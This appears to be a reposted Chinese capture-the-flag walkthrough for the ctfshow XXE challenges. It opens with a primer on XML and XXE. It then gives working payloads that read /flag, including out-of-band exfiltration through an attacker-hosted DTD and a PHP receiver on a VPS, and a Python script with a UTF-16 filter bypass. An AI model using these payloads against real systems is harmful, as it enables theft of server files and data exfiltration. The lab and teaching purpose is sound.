ctfshow web入门 XXE

2024-03-31 06:20
文章标签 入门 web ctfshow xxe

本文主要是介绍ctfshow web入门 XXE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

XXE基础知识

        XXE(XML External Entity)攻击是一种针对XML处理漏洞的网络安全攻击手段。攻击者利用应用程序在解析XML输入时的漏洞,构造恶意的XML数据,进而实现各种恶意目的。

所以要学习xxe就需要了解xml

xml相关:

XML,全称为可扩展标记语言(Extensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言。它属于标准通用标记语言的子集,通过此种标记,计算机之间可以处理包含各种信息的数据,比如文章等。XML非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。它是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。

XML的特性和语法包括:

  1. XML是大小写敏感的。
  2. XML只有单个标签而没有相对应的结束标签的元素必须以“/”结尾,否则结束标签绝对不能省略。
  3. XML中的属性值必须使用引号,例如“width=‘300’”,不能写成“width=300”。
  4. XML中所有的属性必须都有属性值。
  5. XML文档应当以一个文档头开始,文档头可选,但是强烈建议使用。例如:“<?xml version=‘1.0’?>”或“<?xml version=‘1.0’ encoding=‘UTF-8’?>”。
  6. XML文档的正文包含根元素,根元素包含其他元素。元素可以有子元素、文本或者两者皆有。

XML文档由两部分构成:第一部分是文档序言,第二部分是文档元素(节点)。文档序言通常位于XML文档的顶端,根元素之前出现,它是一个特定的包含XML文档设定信息的部分。XML文档序言主要由XML声明、文档类型定义(DTD)和XML Schema组成。XML声明用来设置XML文档解析时所需的基本参数,包括版本号、编码方式等。DTD定义了文档的整体结构以及文档的语法,应用广泛并有丰富工具支持。XML Schema则用于定义管理信息等更强大、更丰富的特征。

XML的用途非常广泛,主要包括:

  1. 存储数据:XML可以用于持久化保存需要长期存储的数据,例如web应用程序中的各种配置文件(如web.xml和bean.xml)。
  2. 分离数据:XML能将数据和展现形式相分离,使数据的组织者和展示者能更专注于各自的任务。
  3. 交换数据:XML可以在不兼容的系统之间交换数据,因为XML是纯文本格式,不受软件和硬件的限制。
  4. 共享数据:XML提供了一种简单的数据共享方式,因为任何应用程序都可以读取和解析XML文件。

总的来说,XML是一种强大且灵活的数据标记语言,它广泛应用于各种需要结构化数据处理的场景,特别是在Web开发、数据交换和配置文件管理等领域。

xml相似于html,但是它可以自定义标签

XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

XXE:

       首先,攻击者会寻找那些存在XXE漏洞的应用程序作为攻击目标。这些应用程序可能没有正确限制或验证XML输入中的外部实体引用。

        一旦找到了目标,攻击者会开始构造恶意的XML输入。这通常涉及到在XML文档中定义外部实体,这些实体指向攻击者想要访问或控制的资源,如文件、URL或其他后端系统。

        然后,攻击者将这些恶意的XML输入发送给目标应用程序。当应用程序解析这些XML数据时,它会尝试加载并包含这些外部实体引用的内容。由于应用程序没有正确地限制或验证这些引用,它可能会执行攻击者指定的恶意操作。

        通过XXE攻击,攻击者可以实现多种恶意目的。例如,他们可以读取目标服务器上的敏感文件,如配置文件、密码文件或数据库凭据。这些文件通常包含有关应用程序配置、用户凭证或其他重要信息,对攻击者来说具有很高的价值。

       此外,攻击者还可以利用XXE攻击发起服务器端请求伪造(SSRF)攻击,进一步探索和利用目标应用程序的内部网络结构。通过构造特定的XML输入,攻击者可以使应用程序发起对内部网络资源的请求,从而获取更多关于目标系统的信息。

      在某些情况下,攻击者甚至可以利用XXE漏洞执行远程代码。他们可以在XML输入中嵌入恶意代码,通过应用程序的XML解析器执行这些代码,进而实现对目标系统的完全控制。

      总的来说,从攻击者的角度来看,XXE攻击是一种利用应用程序对XML处理不当的漏洞,通过构造恶意的XML输入来实现各种恶意目的的攻击手段。为了防范XXE攻击,应用程序需要正确验证和限制XML输入中的外部实体引用,并采取其他必要的安全措施。

web 373

抓包

POST传参

这里不能使用Hackbar

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

只是简单的例题

web 374、375、376

三道题基本上相似

属于无回显类型

区别是:

375过滤xml和version

376过滤大小写

构建一条带外信道提取数据

在公网上上创建1.php

<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}

1.xml

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;

抓包,发送

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>

即得

记录创建网站过程:

(自己摸索的过程有点艰难)

选择了阿里云ECS试用

注册登录领取

选择Centos操作系统

然后找到控制台实例

 显示没有记录的话查找其他区域就有了

打开后进行操作命令安装宝塔面板

yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh

安装完成界面最后会显示网址、用户名、密码

网站在这个时候还不能打开,需要在控制台安全组手动添加端口

添加完成后再登网页

登录宝塔

添加网站

web 377

比上一题多了http过滤,把web374的payload转为utf-16编码

import requests
url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web 378

 抓包看看

发现是有回显的

 payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

这篇关于ctfshow web入门 XXE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/863630

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

数论入门整理(updating)

一、gcd lcm 基础中的基础,一般用来处理计算第一步什么的,分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题:

Java 创建图形用户界面(GUI)入门指南(Swing库 JFrame 类)概述

概述 基本概念 Java Swing 的架构 Java Swing 是一个为 Java 设计的 GUI 工具包,是 JAVA 基础类的一部分,基于 Java AWT 构建,提供了一系列轻量级、可定制的图形用户界面(GUI)组件。 与 AWT 相比,Swing 提供了许多比 AWT 更好的屏幕显示元素,更加灵活和可定制,具有更好的跨平台性能。 组件和容器 Java Swing 提供了许多

【IPV6从入门到起飞】5-1 IPV6+Home Assistant(搭建基本环境)

【IPV6从入门到起飞】5-1 IPV6+Home Assistant #搭建基本环境 1 背景2 docker下载 hass3 创建容器4 浏览器访问 hass5 手机APP远程访问hass6 更多玩法 1 背景 既然电脑可以IPV6入站,手机流量可以访问IPV6网络的服务,为什么不在电脑搭建Home Assistant(hass),来控制你的设备呢?@智能家居 @万物互联

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

poj 2104 and hdu 2665 划分树模板入门题

题意: 给一个数组n(1e5)个数,给一个范围(fr, to, k),求这个范围中第k大的数。 解析: 划分树入门。 bing神的模板。 坑爹的地方是把-l 看成了-1........ 一直re。 代码: poj 2104: #include <iostream>#include <cstdio>#include <cstdlib>#include <al

MySQL-CRUD入门1

文章目录 认识配置文件client节点mysql节点mysqld节点 数据的添加(Create)添加一行数据添加多行数据两种添加数据的效率对比 数据的查询(Retrieve)全列查询指定列查询查询中带有表达式关于字面量关于as重命名 临时表引入distinct去重order by 排序关于NULL 认识配置文件 在我们的MySQL服务安装好了之后, 会有一个配置文件, 也就

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显